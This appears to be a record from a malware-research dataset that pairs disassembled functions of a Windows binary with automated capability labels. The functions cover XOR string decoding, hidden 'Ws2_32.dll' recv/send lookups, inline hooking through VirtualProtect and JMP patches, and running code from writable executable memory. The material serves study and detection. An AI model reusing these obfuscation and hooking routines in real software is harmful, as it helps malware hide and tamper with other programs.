joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10032a20
Capabilities:
Get process image filename

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2b4
cmp dword [0x101d9228], 0
push ebx
push esi
mov esi, edx
mov ebx, ecx
jne 0x10032c41
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x101d9228], eax
mov word [ebp - 0xc], 0x5c1
call fcn.1007b717
and eax, 0x800000ff
jns 0x10032a60
dec eax
or eax, 0xffffff00
inc eax
cmp dword [0x100cd31c], 0xffffffff
mov byte [ebp - 0xa], al
mov byte [ebp - 9], 3
mov byte [ebp - 8], bl
je 0x10032c39
cmp byte [0x101cd350], 0
je 0x10032c39
mov word [ebp - 0xac], 0x9bc1
call fcn.1007b717
and eax, 0x800000ff
jns 0x10032aa0
dec eax
or eax, 0xffffff00
inc eax
cmp byte [0x101cd69a], 0
mov ecx, dword [0x101cd6a8]
mov edx, dword [0x101cd6ac]
mov byte [ebp - 0xaa], al
mov byte [ebp - 0xa9], 3
mov byte [ebp - 0xa8], bl
movq xmm0, qword [ecx]
movq qword [ebp - 0xa7], xmm0
mov ax, word [ecx + 8]
mov word [ebp - 0x9f], ax
mov al, byte [ecx + 0xa]
mov byte [ebp - 0x9d], al
je 0x10032b0b
mov ecx, dword [edx]
movq xmm0, qword [ecx + 0x38]
movq qword [ebp - 0x9c], xmm0
mov ax, word [ecx + 0x40]
mov word [ebp - 0x94], ax
mov al, byte [ecx + 0x42]
mov byte [ebp - 0x92], al
cmp byte [0x101cd69b], 0
je 0x10032b40
mov ecx, dword [edx]
movq xmm0, qword [ecx + 0x24fc]
movq qword [ebp - 0x9c], xmm0
mov ax, word [ecx + 0x2504]
mov word [ebp - 0x94], ax
mov al, byte [ecx + 0x2506]
mov byte [ebp - 0x92], al
test esi, esi
jne 0x10032b58
push 0x40
lea eax, [ebp - 0x91]
push esi
push eax
call fcn.1006fc00
add esp, 0xc
jmp 0x10032b7d
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0x91], xmm0
movups xmm0, xmmword [esi + 0x10]
movups xmmword [ebp - 0x81], xmm0
movups xmm0, xmmword [esi + 0x20]
movups xmmword [ebp - 0x71], xmm0
movups xmm0, xmmword [esi + 0x30]
movups xmmword [ebp - 0x61], xmm0
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x51]
push 0x40
push 0
push eax
call fcn.1006fc00
add esp, 0xc
test esi, esi
je 0x10032be4
push esi
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x10032be4
push 0x104
lea eax, [ebp - 0x2b4]
push eax
push esi
call dword [sym.imp.PSAPI.DLL_GetProcessImageFileNameW]
test eax, eax
je 0x10032bdd
lea ecx, [ebp - 0x2b4]
call fcn.10062f50
push eax
lea eax, [ebp - 0x51]
push 0x100a7acc
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x51]
mov ecx, 0x20
push eax
lea eax, [ebp - 0x91]
push eax
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0xa7]
push eax
movzx eax, byte [ebp - 0xa8]
push eax
call fcn.10064250
push eax
push 0
push 0x101cd6e8
call fcn.1005bcf0
movzx eax, byte [ebp - 0xab]
add esp, 0x20
push eax
lea eax, [ebp - 0xac]
push eax
call fcn.10030f00
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0xc]
call fcn.100326e0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10033620
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x34
xor eax, eax
mov dl, byte [edi + eax + 0x32593faf]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xf
jb 0x10033631
pop edi
mov byte [esi + 0xf], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10033660
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x15
xor eax, eax
mov dl, byte [edi + eax + 0x43f2140e]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xf
jb 0x10033671
pop edi
mov byte [esi + 0xf], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x100339e0
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
push esi
mov esi, ecx
test edx, edx
jle 0x10033a80
push ebx
mov bl, byte [0x101d908f]
mov bh, byte [0x101d908e]
cmp edx, 0x20
jb 0x10033a6b
mov ecx, edx
push edi
and ecx, 0x8000001f
jns 0x10033a0f
dec ecx
or ecx, 0xffffffe0
inc ecx
mov edi, edx
sub edi, ecx
movsx ecx, bl
movd xmm0, ecx
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
movsx ecx, bh
pshufd xmm1, xmm0, 0
movd xmm0, ecx
lea ecx, [esi + 0x10]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm2, xmm0, 0
nop
movups xmm0, xmmword [ecx - 0x10]
add eax, 0x20
lea ecx, [ecx + 0x20]
pxor xmm0, xmm1
psubb xmm0, xmm2
movups xmmword [ecx - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x20]
pxor xmm0, xmm1
psubb xmm0, xmm2
movups xmmword [ecx - 0x20], xmm0
cmp eax, edi
jl 0x10033a40
pop edi
cmp eax, edx
jge 0x10033a7f
nop
mov cl, byte [eax + esi]
xor cl, bl
sub cl, bh
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x10033a70
pop ebx
pop esi
ret

Function at 0x10033a90
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
push esi
mov esi, ecx
test edx, edx
jle 0x10033b30
push ebx
mov bl, byte [0x101d908e]
mov bh, byte [0x101d908f]
cmp edx, 0x20
jb 0x10033b1b
mov ecx, edx
push edi
and ecx, 0x8000001f
jns 0x10033abf
dec ecx
or ecx, 0xffffffe0
inc ecx
mov edi, edx
sub edi, ecx
movsx ecx, bl
movd xmm0, ecx
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
movsx ecx, bh
pshufd xmm1, xmm0, 0
movd xmm0, ecx
lea ecx, [esi + 0x10]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm2, xmm0, 0
nop
movups xmm0, xmmword [ecx - 0x10]
add eax, 0x20
lea ecx, [ecx + 0x20]
paddb xmm0, xmm1
pxor xmm0, xmm2
movups xmmword [ecx - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x20]
paddb xmm0, xmm1
pxor xmm0, xmm2
movups xmmword [ecx - 0x20], xmm0
cmp eax, edi
jl 0x10033af0
pop edi
cmp eax, edx
jge 0x10033b2f
nop
mov cl, byte [eax + esi]
add cl, bl
xor cl, bh
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x10033b20
pop ebx
pop esi
ret
Function at 0x10033d70
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
mov dword [ebp - 8], 0
xor eax, eax
mov si, word [ebp - 8]
nop dword [eax]
nop dword [eax + eax]
movsx dx, byte [eax + 0x101d2724]
movsx ecx, byte [eax + 0x101d2725]
add dx, cx
movsx ecx, byte [eax + 0x101d2727]
add dx, cx
movsx ecx, byte [eax + 0x101d2726]
add dx, cx
add eax, 4
add si, dx
cmp eax, 0x20
jb 0x10033d90
mov al, byte [0x101d9204]
mov word [ebp - 8], si
add al, byte [ebp - 8]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov byte [0x101d908f], al
mov eax, dword [ebp - 8]
shr eax, 8
add al, byte [0x101d9274]
mov byte [0x101d908e], al
lea eax, [ebp - 8]
push edi
push eax
lea eax, [ebp - 0x13]
mov dword [ebp - 8], 0x76636572
push eax
mov byte [ebp - 4], 0
mov dword [ebp - 0x13], 0x5f327357
mov dword [ebp - 0xf], 0x642e3233
mov word [ebp - 0xb], 0x6c6c
mov byte [ebp - 9], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [0x101d9328], eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x13]
mov dword [ebp - 8], 0x646e6573
push eax
mov byte [ebp - 4], 0
mov dword [ebp - 0x13], 0x5f327357
mov dword [ebp - 0xf], 0x642e3233
mov word [ebp - 0xb], 0x6c6c
mov byte [ebp - 9], 0
call esi
push eax
call edi
mov dword [0x101d9338], eax
mov edx, 0xd4
xor ecx, ecx
mov al, byte [ecx + 0x100a7b70]
xor al, dl
mov byte [ebp + ecx - 0x22], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xc
jb 0x10033e61
mov byte [ebp - 0x16], 0
mov edx, 0x8c
xor ecx, ecx
mov al, byte [ecx + 0x100a7b80]
xor al, dl
mov byte [ebp + ecx - 0x15], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xc
jb 0x10033e84
lea eax, [ebp - 0x22]
mov byte [ebp - 9], 0
push eax
lea eax, [ebp - 0x15]
push eax
call esi
push eax
call edi
cmp dword [0x101d9204], 0
mov esi, eax
mov ecx, dword [0x101d9328]
xorps xmm0, xmm0
mov edx, dword [0x101d9338]
movq qword [ebp - 0x15], xmm0
mov dword [ebp - 0xd], 0
mov byte [ebp - 9], 0
movq qword [ebp - 0x22], xmm0
mov dword [ebp - 0x1a], 0
mov byte [ebp - 0x16], 0
mov dword [0x101d9334], ecx
mov dword [0x101d92e8], edx
mov eax, dword [ecx]
mov dword [0x101d9318], eax
movzx eax, byte [ecx + 4]
mov byte [0x101d931c], al
mov eax, dword [edx]
mov dword [0x101d932c], eax
movzx eax, byte [edx + 4]
mov byte [0x101d9330], al
mov eax, dword [esi]
mov dword [0x101d9320], eax
movzx eax, byte [esi + 4]
mov dword [0x101d9314], esi
mov byte [0x101d9324], al
pop edi
jne 0x10033f33
cmp dword [0x101d9274], 0
je 0x10033fa7
call fcn.10066e10
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call esi
push eax
call fcn.100672f0
push 0x10033cb0
push 0x101d9334
call fcn.10066890
call fcn.10066e70
call fcn.10066e10
call esi
push eax
call fcn.100672f0
push 0x10033cf0
push 0x101d92e8
call fcn.10066890
call fcn.10066e70
mov ecx, dword [0x101d9328]
mov eax, dword [ecx]
mov dword [0x101d9318], eax
movzx eax, byte [ecx + 4]
mov ecx, dword [0x101d9338]
mov byte [0x101d931c], al
mov eax, dword [ecx]
mov dword [0x101d932c], eax
movzx eax, byte [ecx + 4]
mov byte [0x101d9330], al
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1003a460
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 8]
mov edi, eax
and edi, 7
je 0x1003a483
cmp eax, edi
jge 0x1003a47b
call fcn.10039e80
mov ecx, edi
shr dword [esi + 0xc], cl
sub dword [esi + 8], edi
mov edx, dword [esi + 8]
xor ecx, ecx
test edx, edx
jle 0x1003a4ad
mov edi, dword [esi + 0xc]
nop
mov al, byte [esi + 0xc]
sub edx, 8
mov byte [ebp + ecx - 4], al
inc ecx
shr edi, 8
mov dword [esi + 0xc], edi
test edx, edx
jg 0x1003a490
mov dword [esi + 8], edx
cmp ecx, 4
jge 0x1003a4c9
mov edi, dword [esi + 4]
mov eax, dword [esi]
cmp eax, edi
jb 0x1003a4ba
xor dl, dl
jmp 0x1003a4bf
mov dl, byte [eax]
inc eax
mov dword [esi], eax
mov byte [ebp + ecx - 4], dl
inc ecx
cmp ecx, 4
jl 0x1003a4b2
mov eax, dword [ebp - 4]
movzx ecx, byte [ebp - 1]
movzx edi, ah
movzx eax, al
shl edi, 8
add edi, eax
shl ecx, 8
movzx eax, byte [ebp - 2]
add ecx, eax
mov eax, edi
xor eax, 0xffff
cmp ecx, eax
je 0x1003a4f7
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [esi]
add eax, edi
cmp eax, dword [esi + 4]
ja 0x1003a4ef
mov edx, dword [esi + 0x10]
lea eax, [edx + edi]
cmp eax, dword [esi + 0x18]
jbe 0x1003a51a
push edi
mov ecx, esi
call fcn.10039f80
add esp, 4
test eax, eax
je 0x1003a4ef
push edi
push dword [esi]
push dword [esi + 0x10]
call fcn.1006f680
add dword [esi], edi
add esp, 0xc
add dword [esi + 0x10], edi
mov eax, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10042420
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x10092128
push eax
mov dword fs:[0], esp
sub esp, 0x128
mov eax, dword [0x101cd6b0]
cmp dword [eax], 5
jb 0x10042548
mov byte [ebp - 0x134], 0xc3
mov dword [ebp - 0x133], 0x10c
call fcn.1007b717
and eax, 0x800000ff
jns 0x10042470
dec eax
or eax, 0xffffff00
inc eax
mov byte [ebp - 0x12f], al
mov edx, 0xc7
mov byte [ebp - 0x12e], 0x20
xor ecx, ecx
mov al, byte [ecx + 0x100a7c54]
xor al, dl
mov byte [ebp + ecx - 0x1e], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x11
jb 0x10042484
mov eax, str._t___x
mov byte [ebp - 0xd], 0
sub eax, 0x198ee206
lea ecx, [ebp - 0x26]
push eax
call fcn.10058bb0
lea ecx, [ebp - 0x1e]
push ecx
mov ecx, dword [0x7bc4f04]
add ecx, 0x38
push ecx
push eax
lea eax, [ebp - 0x12c]
push eax
call fcn.1002c420
add esp, 0x10
lea eax, [ebp - 0x134]
push 0x10c
push eax
call fcn.10030f00
mov edx, 0xc7
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + 0x100a7c54]
xor al, dl
mov byte [ebp + ecx - 0x1e], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x11
jb 0x100424f0
mov byte [ebp - 0xd], 0
push 0x1388
lea eax, [ebp - 0x1e]
mov dword [ebp - 4], 0
push eax
push ecx
mov edx, 2
mov ecx, 0x101d7768
call fcn.10063180
add esp, 0xc
mov dword [ebp - 4], 0xffffffff
xorps xmm0, xmm0
mov word [ebp - 0xe], 0
movups xmmword [ebp - 0x1e], xmm0
call fcn.10062b40
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x10050e10
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2c
push ebx
push esi
push edi
push 0xff
push 0x1a
lea eax, [esp + 0x20]
mov dword [esp + 0x20], 0x83ec8b55
push eax
push ecx
mov dword [esp + 0x2c], 0x4d8924ec
mov dword [esp + 0x30], 0xffffffdc
mov dword [esp + 0x34], 0xffffffff
mov dword [esp + 0x38], 0xff01ff83
mov dword [esp + 0x3c], 0xffffffff
mov word [esp + 0x40], 0xc7ff
call fcn.10062490
mov ebx, eax
test ebx, ebx
je 0x10050f6d
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [esp + 0xc]
push eax
push 0x40
lea ecx, [ebx + 0x83]
mov dword [0x101d93bc], ecx
lea esi, [ebx + 0x7c]
push 7
lea ecx, [ebx + 0x98]
push esi
mov dword [0x101d93b4], ecx
call edi
mov eax, 0x10050d60
mov byte [esi], 0xe9
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
mov eax, 0x90909090
mov word [esi + 5], ax
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x10]
push 7
push esi
call edi
lea ecx, [ebx + 0x1da]
lea eax, [ebx + 0x1df]
mov dword [0x101d9388], ecx
mov dword [0x101d9438], eax
lea esi, [ebx + 0x1d6]
mov eax, dword [ecx + 1]
add eax, 5
add eax, ecx
mov dword [0x101d9388], eax
lea eax, [esp + 0xc]
push eax
push 0x40
push 9
push esi
call edi
mov eax, 0x10050dd0
mov byte [esi], 0xe9
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x10]
mov dword [esi + 5], 0x90909090
push 9
push esi
call edi
push 0xff
push 0x11
lea eax, [esp + 0x20]
mov dword [esp + 0x20], 0xffffff66
push eax
push ecx
mov dword [esp + 0x2c], 0xff66ffff
mov dword [esp + 0x30], 0xff8b24ff
mov dword [esp + 0x34], 0xffffffff
mov byte [esp + 0x38], 0x51
call fcn.10062490
mov dword [0x101cd6d8], eax
test eax, eax
je 0x10050f97
mov eax, dword [eax + 2]
pop edi
pop esi
mov dword [0x101cd6d8], eax
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, 0xe1
xor eax, eax
mov cl, byte [eax + 0x100aae30]
xor cl, dl
mov byte [esp + eax + 0x18], cl
inc eax
lea ecx, [edx + 1]
movzx edx, cl
cmp eax, 0x1c
jb 0x10050f74
mov byte [esp + 0x34], 0
lea eax, [esp + 0x18]
jmp 0x10050fab
mov eax, 0x100aae50
lea ecx, [esp + 0x10]
sub eax, 0x575d72e6
push eax
call fcn.10059160
push eax
push 0
push 0x101cd6e8
call fcn.1005bcf0
add esp, 0xc
call fcn.10062b40
int3
Function at 0x10054d00
Capabilities:
Check if file exists
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
mov dword [ebp - 8], 0
lea eax, [ebp - 0xb]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
mov dword [ebp - 0xb], 0x6e69616d
mov dword [ebp - 7], 0x66772e
call esi
test eax, eax
jne 0x10054d4a
mov eax, 0x100ab5e0
lea ecx, [ebp - 0x15]
sub eax, 0x82e5abe
push eax
call fcn.10059ba0
push eax
call esi
test eax, eax
jne 0x10054d4a
xor al, al
jmp 0x10054d4c
mov al, 1
test al, al
je 0x10054e5c
mov edx, 0xd7
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ecx + 0x100ab5ec]
xor al, dl
mov byte [ebp + ecx - 0x18], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xb
jb 0x10054d60
lea eax, [ebp - 0x18]
mov byte [ebp - 0xd], 0
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x10054df6
mov edx, 0xd7
xor ecx, ecx
mov al, byte [ecx + 0x100ab5ec]
xor al, dl
mov byte [ebp + ecx - 0x18], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xb
jb 0x10054d91
lea eax, [ebp - 0x18]
mov byte [ebp - 0xd], 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x10], 0
xorps xmm0, xmm0
movq qword [ebp - 0x18], xmm0
test eax, eax
je 0x10054e5c
lea ecx, [ebp - 8]
mov dword [ebp - 8], 0x74696e49
push ecx
push eax
mov byte [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], 0
mov byte [ebp - 4], 0
call eax
pop esi
mov esp, ebp
pop ebp
ret
mov esi, str.idoimfg
lea ecx, [ebp - 0x15]
sub esi, 0x70cc661b
push esi
call fcn.10059c10
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x10054e5c
push esi
lea ecx, [ebp - 0xc]
call fcn.10059c10
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
mov byte [ebp - 4], 0
xorps xmm0, xmm0
movq qword [ebp - 0xc], xmm0
test esi, esi
je 0x10054e5c
push 0x872a15ed
lea ecx, [ebp - 0x16]
call fcn.10059c80
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xorps xmm0, xmm0
mov word [ebp - 0xe], 0
movq qword [ebp - 0x16], xmm0
call eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10058df0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x88
xor eax, eax
mov dl, byte [edi + eax + 0x2bf74a70]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x1b
jb 0x10058e01
pop edi
mov byte [esi + 0x1b], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10058e30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x1b
xor eax, eax
mov dl, byte [edi + eax - 0x56714f1a]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x1b
jb 0x10058e41
pop edi
mov byte [esi + 0x1b], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10058fe0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x5e
xor eax, eax
mov dl, byte [edi + eax - 0x594480ca]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x12
jb 0x10058ff1
pop edi
mov byte [esi + 0x12], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10059020
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x5e
xor eax, eax
mov dl, byte [edi + eax + 0x4aa5565d]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x15
jb 0x10059031
pop edi
mov byte [esi + 0x15], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x100590e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x73
xor eax, eax
mov dl, byte [edi + eax + 0x190307d4]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x1a
jb 0x100590f1
pop edi
mov byte [esi + 0x1a], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10059120
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x9a
xor eax, eax
mov dl, byte [edi + eax + 0x6f624503]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xb
jb 0x10059131
pop edi
mov byte [esi + 0xb], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x100596a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xba
xor eax, eax
mov dl, byte [edi + eax - 0x5fdb605b]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xf
jb 0x100596b1
pop edi
mov byte [esi + 0xf], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x100596e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xa
xor eax, eax
mov dl, byte [edi + eax - 0x3ea728e1]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xf
jb 0x100596f1
pop edi
mov byte [esi + 0xf], 0
mov eax, esi
pop esi
pop ebp
ret 4
Function at 0x10059720
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xbe
xor eax, eax
mov dl, byte [edi + eax + 0xa360ed]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x13
jb 0x10059731
pop edi
mov byte [esi + 0x13], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10059840
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x60
xor eax, eax
mov dl, byte [edi + eax + 0x32828b5]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xb
jb 0x10059851
pop edi
mov byte [esi + 0xb], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10059880
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xbe
xor eax, eax
mov dl, byte [edi + eax + 0x1851873]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x12
jb 0x10059891
pop edi
mov byte [esi + 0x12], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x100598c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x2c
xor eax, eax
mov dl, byte [edi + eax - 0x67a7306a]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x13
jb 0x100598d1
pop edi
mov byte [esi + 0x13], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10059900
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x36
xor eax, eax
mov dl, byte [edi + eax - 0x7bc5d5a6]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x13
jb 0x10059911
pop edi
mov byte [esi + 0x13], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10059940
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x1b
xor eax, eax
mov dl, byte [edi + eax - 0x3e3f09c3]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x13
jb 0x10059951
pop edi
mov byte [esi + 0x13], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10059980
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x6b
xor eax, eax
mov dl, byte [edi + eax + 0x587e3c1c]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x13
jb 0x10059991
pop edi
mov byte [esi + 0x13], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x100599c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xda
xor eax, eax
mov dl, byte [edi + eax - 0x1b4e69d6]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x16
jb 0x100599d1
pop edi
mov byte [esi + 0x16], 0
mov eax, esi
pop esi
pop ebp
ret 4